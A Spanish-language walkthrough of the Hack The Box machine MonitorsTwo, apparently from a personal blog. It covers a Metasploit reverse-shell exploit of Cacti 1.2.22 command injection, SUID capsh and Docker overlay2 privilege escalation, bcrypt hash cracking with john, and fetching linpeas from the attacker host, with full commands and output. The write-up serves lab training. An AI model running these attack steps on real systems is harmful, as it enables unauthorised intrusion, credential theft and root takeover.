MonitorsTwo es una máquina de dificultad fácil en la plataforma de HTB. Para acceder debemos explotar una vulnerabilidad en Cacti, accederemos a un contenedor en el que tendremos que elevar privilegios mediante un binario SUID, conseguiremos acceso a la máquina principal crackeando un hash obtenido mediante la enumeración de la base de datos MySQL. Para escalar privilegios en la máquina principal, encontraremos una vulnerabilidad en Docker en la cual podremos ejecutar comandos del contenedor en la máquina principal obteniendo así root gracias a la bash con permisos SUID.

Enumeración

Escaneo de puertos

Realizamos un escaneo para descubrir todos los puertos abiertos de la máquina.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.188.45 -oG allPorts
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-02 15:02 CEST
Initiating SYN Stealth Scan at 15:02
Scanning 10.129.188.45 [65535 ports]
Discovered open port 22/tcp on 10.129.188.45
Discovered open port 80/tcp on 10.129.188.45
Completed SYN Stealth Scan at 15:02, 12.44s elapsed (65535 total ports)
Nmap scan report for 10.129.188.45
Host is up, received user-set (0.047s latency).
Scanned at 2023-05-02 15:02:25 CEST for 12s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds
           Raw packets sent: 66860 (2.942MB) | Rcvd: 65624 (2.625MB)

El escaneo descubre 2 puertos abiertos: el 22 (SSH) y el 80 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Para el segundo escaneo descubriremos los servicios y las versiones de los puertos abiertos.

❯ nmap -p22,80 -sCV 10.129.188.45 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-02 15:05 CEST
Nmap scan report for 10.129.188.45
Host is up (0.051s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.23 seconds

Visitamos la web y nos encontramos con un panel de login de Cacti.

HTB

Intrusión (Docker)

Si buscamos con searchsploit encontramos que la versión que hay en la web es vulnerable a un RCE.

❯ searchsploit cacti 1.2.22
---------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                        |  Path
---------------------------------------------------------------------------------------------------------------------- ---------------------------------     
Cacti v1.2.22 - Remote Command Execution (RCE)                                                                        | php/webapps/51166.py
---------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Buscamos el exploit de la versión de Cacti en Metasploit.

msf6 > search cacti

Matching Modules
================

   #  Name                                                    Disclosure Date  Rank       Check  Description
   -  ----                                                    ---------------  ----       -----  -----------
   0  exploit/linux/http/cacti_unauthenticated_cmd_injection  2022-12-05       excellent  Yes    Cacti 1.2.22 unauthenticated command injection
   1  exploit/unix/http/cacti_filter_sqli_rce                 2020-06-17       excellent  Yes    Cacti color filter authenticated SQLi to RCE
   2  exploit/unix/webapp/cacti_graphimage_exec               2005-01-15       excellent  No     Cacti graph_view.php Remote Command Execution
   3  exploit/windows/http/hp_sitescope_runomagentcommand     2013-07-29       manual     Yes    HP SiteScope Remote Code Execution

Interact with a module by name or index. For example info 3, use 3 or use exploit/windows/http/hp_sitescope_runomagentcommand

msf6 > use 0
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > 
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set RHOSTS 10.129.188.45
RHOSTS => 10.129.188.45
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set RPORT 80
RPORT => 80
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set LHOST 10.10.14.94
LHOST => 10.10.14.94

Ponemos los parámetros RHOSTS, RPORT, LHOST y ejecutamos el exploit varias veces, ya que no funciona siempre.

msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > exploit

[*] Started reverse TCP handler on 10.10.14.94:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (868/868 bytes)

whoami
www-data

Como podemos ver nos hemos conectado a un contenedor Docker y no a la máquina principal.

www-data@50bca5e748b0:/var/www/html$ hostname -I
hostname -I
172.19.0.3 
www-data@50bca5e748b0:/var/www/html$ 

Escalada de privilegios (Docker)

Miramos los permisos SUID y nos llama la atención el comando capsh.

www-data@50bca5e748b0:/var/www/html$ find / -perm -4000 2>/dev/null 
find / -perm -4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/su

Buscamos en GTFOBins y conseguimos root en el contenedor.

www-data@50bca5e748b0:/var/www/html$ capsh --gid=0 --uid=0 --
capsh --gid=0 --uid=0 --
root@50bca5e748b0:/var/www/html# 

Intrusión (máquina principal)

En la raíz del sistema podemos encontrar un script en el que podremos leer un archivo SQL.

root@50bca5e748b0:/# ls -l
ls -l
total 92
drwxr-xr-x   1 root root  4096 Mar 22 13:21 bin
drwxr-xr-x   2 root root  4096 Mar 22 13:21 boot
drwxr-xr-x   5 root root   340 May  2 12:53 dev
-rw-r--r--   1 root root   648 Jan  5 11:37 entrypoint.sh
drwxr-xr-x   1 root root  4096 Mar 21 10:49 etc
drwxr-xr-x   2 root root  4096 Mar 22 13:21 home
drwxr-xr-x   1 root root  4096 Nov 15 04:13 lib
drwxr-xr-x   2 root root  4096 Mar 22 13:21 lib64
drwxr-xr-x   2 root root  4096 Mar 22 13:21 media
drwxr-xr-x   2 root root  4096 Mar 22 13:21 mnt
drwxr-xr-x   2 root root  4096 Mar 22 13:21 opt
dr-xr-xr-x 279 root root     0 May  2 12:53 proc
drwx------   1 root root  4096 Mar 21 10:50 root
drwxr-xr-x   1 root root  4096 Nov 15 04:17 run
drwxr-xr-x   1 root root  4096 Jan  9 09:30 sbin
drwxr-xr-x   2 root root  4096 Mar 22 13:21 srv
dr-xr-xr-x  13 root root     0 May  2 12:53 sys
drwxrwxrwt   1 root root 20480 May  2 14:11 tmp
drwxr-xr-x   1 root root  4096 Nov 14 00:00 usr
drwxr-xr-x   1 root root  4096 Nov 15 04:13 var
root@50bca5e748b0:/# cat entrypoint.sh
cat entrypoint.sh
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is <code>-f</code> or <code>--some-option</code>
if [ "${1#-}" != "$1" ]; then
        set -- apache2-foreground "$@"
fi

exec "$@"
root@50bca5e748b0:/# 

Leemos la base de datos y encontramos el hash de la contraseña de un usuario llamado marcus.

+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+-----------------------+
| id | username | password                                                     | realm | full_name      | email_address          | must_change_password | 
|  4 | marcus   | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |     0 | Marcus Brune   | [email protected] |                      |             
+----+----------+--------------------------------------------------------------+-------+----------------+------------------------+-----------------------+

Mediante john desencriptamos el hash y obtenemos la contraseña.

❯ john --wordlist=/home/mrx/aplicaciones/rockyou.txt hash
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
funkymonkey      (?)     
1g 0:00:00:20 DONE (2023-05-02 16:21) 0.04897g/s 423.1p/s 423.1c/s 423.1C/s vectra..beckham7
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Probamos a conectarnos por SSH y leemos la flag del usuario.

 ssh [email protected]
The authenticity of host '10.129.188.45 (10.129.188.45)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:28: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.188.45' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue 02 May 2023 02:22:21 PM UTC

  System load:                      0.0
  Usage of /:                       63.1% of 6.73GB
  Memory usage:                     16%
  Swap usage:                       0%
  Processes:                        240
  Users logged in:                  0
  IPv4 address for br-60ea49c21773: 172.18.0.1
  IPv4 address for br-7c3b7c0d00b3: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.129.188.45
  IPv6 address for eth0:            dead:beef::250:56ff:fe96:d93

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

You have mail.
Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40
marcus@monitorstwo:~$ cat user.txt 
80d14f9487801c00c0242ad5fbf7b5d1

Pasamos el linpeas para intentar encontrar una vía de explotación.

marcus@monitorstwo:~$ wget http://10.10.14.94/linpeas.sh
--2023-05-02 15:12:04--  http://10.10.14.94/linpeas.sh
Connecting to 10.10.14.94:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 828058 (809K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                    100%[=================================================================================================>] 808.65K  1.38MB/s    in 0.6s    

2023-05-02 15:12:05 (1.38 MB/s) - ‘linpeas.sh’ saved [828058/828058]

Escalada de privilegios (máquina principal)

Encontramos estas dos rutas marcadas de color rojo, así que les echamos un vistazo.

╔══════════╣ Mails (limit 50)              
     4721      4 -rw-r--r--   1 root     mail         1809 Oct 18  2021 /var/mail/marcus
     4721      4 -rw-r--r--   1 root     mail         1809 Oct 18  2021 /var/spool/mail/marcus

Se trata de un mail en el que hablan de las vulnerabilidades encontradas y que deberían ser arregladas. En nuestro caso nos debemos fijar en la última. Se trata de una vulnerabilidad de Docker en la que podemos ejecutar comandos del contenedor en la máquina anfitriona.

marcus@monitorstwo:~$ cat /var/mail/marcus
From: [email protected]
To: [email protected]
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of

Dear all,

We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.

CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.

CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.

CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.

We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.

Best regards,

Administrator
CISO
Monitor Two
Security Team

Debemos antes, encontrar la ruta de los contenedores mediante el comando findmnt.

├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged

En el contenedor, como root debemos poner la bash con permisos SUID.

root@50bca5e748b0:/# chmod u+s /bin/bash 
chmod u+s /bin/bash
root@50bca5e748b0:/# ls -l /bin/bash 
ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
root@50bca5e748b0:/#

Y en la máquina principal ejecutamos la bash del contenedor para convertirnos en root.

marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ls
bin  boot  dev  entrypoint.sh  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ls -l bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 bin/bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ bin/bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt 
b4327b0874f02de41da055f5a66a9204
bash-5.1# 
2 thoughts on “MonitorsTwo – HTB”

Leave a Reply

Your email address will not be published. Required fields are marked *